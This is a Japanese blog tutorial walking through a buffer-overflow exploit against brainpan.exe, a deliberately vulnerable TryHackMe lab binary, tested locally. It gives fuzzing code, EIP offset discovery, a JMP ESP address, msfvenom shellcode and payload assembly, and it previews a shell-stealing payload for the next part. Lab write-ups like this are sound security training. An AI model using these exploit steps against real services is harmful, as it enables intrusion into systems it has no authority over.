第2回:BufferOverflow脆弱性解析(ローカル検証編)

カテゴリ:バイナリ解析、バッファオーバーフロー実践


⓪ 概要/目的

今までの記事の中でBoF(BufferOverflow)の簡単な仕組みを初学者シリーズで説明してきたが
今回はtryhackmeにちょうど良いBoFの脆弱性を持つプログラム(brainpan.exe)があるため、実践でバイナリ解析してみよう!

https://tryhackme.com/room/brainpan

■ こんな方にオススメ!
🈩 今までの初学者シリーズを読了済みであり、スタックのイメージができる人
🈔 実践的に手を動かして試したい人


 └ ★ BoF実行までのプロセス

※ IPアドレス(172.28.128.0/24)は検証環境によって異なるため、ご注意ください


❸ ローカルで検証(バイナリ解析)

kali上にbrainpan.exeを取得した後は実行形式などを調べる
・表層解析

$ file brainpan.exe

どうやらWindowsで実行できる実行ファイル(PE32 executable)のようだ
本来であればWindows上で実行して挙動を確かめるのが好ましい
しかし今回はあえてwinedbgを使いkali上で実行させてみる ※winedbgは事前に入れておこう

aaaaaabbbbと入力してみる

入力した文字がbufferに反映されていることが分かる


 ├ ★ ファジング(Fuzzing)

まずはバッファが溢れるサイズを調べることでEIPが実行されるアドレス知りたい

500~600の間でオーバーフローが発生したようだ

・・・(省略)
# ファジングの初期設定
ip = "127.0.0.1"                # ターゲットIP
port = 9999                     # ターゲットポート
timeout = 5                     # タイムアウト秒数
initial_size = 100             # 最初のペイロードサイズ
step_size = 100               # 各ステップでバイト数を増やすサイズ
max_size = 3000             # 送信する最大バイト数

# バッファを段階的に増加させるための準備
buffer = ["A" * initial_size]             # 最初に100バイトの"A"を含むバッファ
while len(buffer[-1]) < max_size:
    buffer.append("A" * (len(buffer[-1]) + step_size))  # ステップごとにサイズを増加
    
# ファジング開始
for payload in buffer:
    size = len(payload)
    print(f"Fuzzing with {size} bytes...")

 ├ 600文字のパターンファイルを生成

自力で文字パターンを作成するのは大変なので以下で実現する
これで4バイト切り取ったときに先頭から何文字目なのか分かる

$ msf-pattern_create -l 600

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A..省略


 ├ 実行アドレス(EIP)を調査する

winedgbを使って、先ほど生成した文字をbrainpanに貼り付けてみよう

そうするとBoFで溢れた値を確認することができる

import socket

# 上記で生成したパターンを貼り付ける
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa..省略"

# ソケット接続と送信処理
ip = "127.0.0.1"
#ip = "localhost"
port = 9999

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.recv(1024)
    
    # 生成したパターンを送信
    s.send((pattern + '\r\n').encode())
    s.close()
except Exception as e:
    print(f"Error: {e}")

EIPは次に実行するアドレスが格納されるがBoFで値が上書きされた場合はアドレスではなく、
ユーザが入力した文字に書き換わっている!

図を見るとEIPが「35724134」になっていることが分かる
これは先ほど生成した文字の中に同じ「35724134」が存在していることを示し、何バイト目か調べることができる

✔ 「35724134」が何バイト目なのか確認:

$ msf-pattern_offset -q 35724134

これで524byte後にEIPがくることが分かったのでバイトコード(524)+EIP(実行アドレス)という形になる


└ JMP ESPを探し出す

ここまででEIPの場所が判明した
次にEIP実行したときにJMP ESPを実行させたい、まずはjmp espを実行するときに使うアセンブリ言語を確認してみよう

$ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

jmp espはアセンブリだと「ff e4」が該当しているようだ

brainpan.exeで「ff e4」が含まれている箇所を探すと「311712f3」となることが分かる

$ objdump -d brainpan.exe | grep -i 'ff e4'

これで524byte + 「ff e4」でESPへ飛ばすことが可能となる!

ESPへ移動できれば、その後に好きなshellcodeを注入することで任意の行動を引き起こすことができる


❹ notepad.exe起動確認

次はEIPを実行させる部分にシェルコードを挿入することで任意のアプリを起動させたい
そこでwineではnotepad.exeを起動させることが可能なため、BoFを突いた攻撃の成功するテストとして最適である

$ msfvenom -p windows/exec CMD=notepad.exe -f python -v shellcode -b "\x00"

・・・(省略)・・・
Final size of python file: 1266 bytes
shellcode =  b""
shellcode += b"\xbd\xfd\xad\xbb\x97\xd9\xec\xd9\x74\x24\xf4"
・・・(省略)・・・
・・・(省略)・・・
# バッファ構築(バイト型で最初から組む)
junk = b"A" * 524
eip  = b"\xF3\x12\x17\x31"  # little endian address
nops = b"\x90" * 8
shellcode =  b""
shellcode += b"\xbd\xfd\xad\xbb\x97\xd9\xec\xd9\x74\x24\xf4"

payload = junk + eip + nops + shellcode
・・・(省略)・・・

上記ではnotepadを起動させるシェルコードを実行させることができた
このようにshellcodeを書き換えることで色々な挙動を引き起こすことができる


次回はいよいよターゲットサーバに対してbashを奪うシェルコードを実行していきたいと思う

~次回お楽しみに~